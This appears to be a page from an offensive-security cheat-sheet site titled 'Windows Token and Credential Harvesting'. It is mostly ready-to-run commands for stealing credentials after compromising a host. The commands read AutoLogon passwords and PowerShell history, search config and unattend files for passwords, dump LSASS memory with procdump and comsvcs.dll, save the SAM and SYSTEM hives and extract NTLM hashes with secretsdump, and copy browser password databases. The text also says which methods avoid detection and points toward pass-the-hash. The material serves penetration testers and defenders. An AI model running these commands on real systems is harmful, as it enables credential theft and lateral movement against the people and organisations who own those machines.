Skip to content
HackIndex logo

HackIndex

Windows Token and Credential Harvesting

5 min read Jul 14, 2026

After gaining access, credential and token collection is the highest-priority post-exploitation task. Credentials recovered here feed lateral movement, and tokens can give you immediate access to other user contexts without needing passwords at all.

Stored credentials — registry and files

AutoLogon credentials are stored in plaintext in the registry. These are the first place to check — they require no tools and are read with a single command.

PS C:\Users\Guest\Desktop> # AutoLogon credentials (often plaintext)
PS C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
PS C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
PS C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
 
PS C:\Users\Guest\Desktop> # Putty saved sessions (may contain credentials)
PS C:\Users\Guest\Desktop> reg query HKCU\Software\SimonTatham\PuTTY\Sessions
 
PS C:\Users\Guest\Desktop> # Generic credentials stored by cmdkey
PS C:\Users\Guest\Desktop> cmdkey /list

AutoLogon passwords are frequently set on kiosk machines, jump boxes, and service accounts. If you find a DefaultPassword value, try it against every user on the target and against other services (password reuse is common). Stored cmdkey credentials can be used with runas /savecred — see Runas Stored Credentials.

PowerShell and command history

PS C:\Users\Guest\Desktop> # PowerShell history (contains commands, often with -Password flags)
PS C:\Users\Guest\Desktop> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS C:\Users\Guest\Desktop> Get-Content (Get-PSReadLineOption).HistorySavePath
 
PS C:\Users\Guest\Desktop> # Check all users' history if you have read access
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content

Configuration files with credentials

Web application configs, deployment files, and unattended install files frequently contain plaintext credentials. These sit on disk long after installation and are often overlooked.

PS C:\Users\Guest\Desktop> # Unattended install files (contain admin passwords from deployment)
PS C:\Users\Guest\Desktop> dir /s C:\ /b | findstr /si unattend.xml
PS C:\Users\Guest\Desktop> type C:\Windows\Panther\Unattend.xml
PS C:\Users\Guest\Desktop> type C:\Windows\Panther\Unattended.xml
PS C:\Users\Guest\Desktop> type C:\Windows\System32\Sysprep\Unattend.xml
PS C:\Users\Guest\Desktop> type C:\Windows\System32\Sysprep\Sysprep.xml
 
PS C:\Users\Guest\Desktop> # IIS web.config (database connection strings, app credentials)
PS C:\Users\Guest\Desktop> dir /s C:\inetpub /b | findstr /si web.config
PS C:\Users\Guest\Desktop> type C:\inetpub\wwwroot\web.config
 
PS C:\Users\Guest\Desktop> # Common config files
PS C:\Users\Guest\Desktop> dir /s C:\ /b | findstr /si "*.config *.xml *.ini *.txt" | findstr /vi "C:\Windows\System32"
 
PS C:\Users\Guest\Desktop> # Search for password strings in files
PS C:\Users\Guest\Desktop> findstr /si password C:\Users\*\*.txt C:\Users\*\*.xml C:\Users\*\*.ini
PS C:\Users\Guest\Desktop> findstr /spin "password" C:\*.xml C:\*.ini C:\*.txt 2>nul

LSASS memory dump

LSASS holds NTLM hashes and in older or misconfigured environments plaintext credentials for all interactively logged-in users. Dumping it requires SYSTEM or SeDebugPrivilege. Extract it locally on the target then analyse on your attack box with mimikatz or pypykatz.

PS C:\Users\Guest\Desktop> # Task Manager method (GUI — right-click lsass.exe, Create Dump File)
PS C:\Users\Guest\Desktop> # Saves to C:\Users\<user>\AppData\Local\Temp\lsass.dmp
 
PS C:\Users\Guest\Desktop> # ProcDump (Sysinternals — less likely to be flagged)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
 
PS C:\Users\Guest\Desktop> # comsvcs.dll method (built-in, no external tool needed)
PS C:\Users\Guest\Desktop> $lsass = Get-Process lsass
PS C:\Users\Guest\Desktop> C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\Windows\Temp\lsass.dmp full
 
PS C:\Users\Guest\Desktop> # Task Manager equivalent via PowerShell
PS C:\Users\Guest\Desktop> $id = (Get-Process lsass).Id
PS C:\Users\Guest\Desktop> Rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $id C:\Windows\Temp\lsass.dmp full
┌──(kali㉿kali)-[~]
└─$ # pypykatz — parses lsass dumps without needing Windows
┌──(kali㉿kali)-[~]
└─$ pipx install pypykatz
┌──(kali㉿kali)-[~]
└─$ pypykatz lsa minidump lsass.dmp
 
┌──(kali㉿kali)-[~]
└─$ # Extract NTLM hashes only
┌──(kali㉿kali)-[~]
└─$ pypykatz lsa minidump lsass.dmp | grep -i ntlm
 
┌──(kali㉿kali)-[~]
└─$ # mimikatz (Windows) — if you have a Windows analysis box
┌──(kali㉿kali)-[~]
└─$ # mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

SAM and SYSTEM hive dump

The SAM database holds NTLM hashes for all local accounts. It cannot be read while Windows is running because SYSTEM locks it, but you can copy the hive via reg save or shadow copy, then extract hashes offline.

PS C:\Users\Guest\Desktop> # Requires local Administrator or SYSTEM
PS C:\Users\Guest\Desktop> reg save HKLM\SAM C:\Windows\Temp\sam.hiv
PS C:\Users\Guest\Desktop> reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
PS C:\Users\Guest\Desktop> reg save HKLM\SECURITY C:\Windows\Temp\security.hiv
 
PS C:\Users\Guest\Desktop> # Transfer to attack box, then extract hashes
PS C:\Users\Guest\Desktop> # impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user1:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

NTLM hashes can be used directly for Pass-the-Hash without cracking. See Pass-the-Hash and Pass-the-Ticket for how to use them. For cracking, see Windows Password Attacks.

Windows Credential Manager and DPAPI

PS C:\Users\Guest\Desktop> # List all stored credentials
PS C:\Users\Guest\Desktop> cmdkey /list
 
PS C:\Users\Guest\Desktop> # Read vault files directly (requires access to user profile)
PS C:\Users\Guest\Desktop> dir C:\Users\$env:USERNAME\AppData\Local\Microsoft\Credentials\
dir C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Credentials\
PS C:\Users\Guest\Desktop> # Vault files require DPAPI decryption — see DPAPI Credential Decryption guide

DPAPI-encrypted credentials require master key decryption. For the full workflow including SharpDPAPI and browser password extraction see DPAPI Credential Decryption.

Browser saved credentials

PS C:\Users\Guest\Desktop> # Chrome credentials database
PS C:\Users\Guest\Desktop> dir "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
 
PS C:\Users\Guest\Desktop> # Edge credentials database
PS C:\Users\Guest\Desktop> dir "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
 
PS C:\Users\Guest\Desktop> # Firefox profiles
PS C:\Users\Guest\Desktop> dir "$env:APPDATA\Mozilla\Firefox\Profiles"
 
PS C:\Users\Guest\Desktop> # Copy Chrome Login Data for offline parsing
PS C:\Users\Guest\Desktop> copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" C:\Windows\Temp\login_data

Chrome and Edge credential databases are SQLite files encrypted with DPAPI. Transfer the Login Data file and the Local State file from the same directory to your attack box and use a tool like HackBrowserData or parse with Python and a DPAPI decryption library. The DPAPI decryption is user-context-bound so the extraction is most reliable when running as the target user.

For all the recovered hashes and credentials the next step is lateral movement. See Pass-the-Hash and Pass-the-Ticket and PsExec and SMB Lateral Movement.

References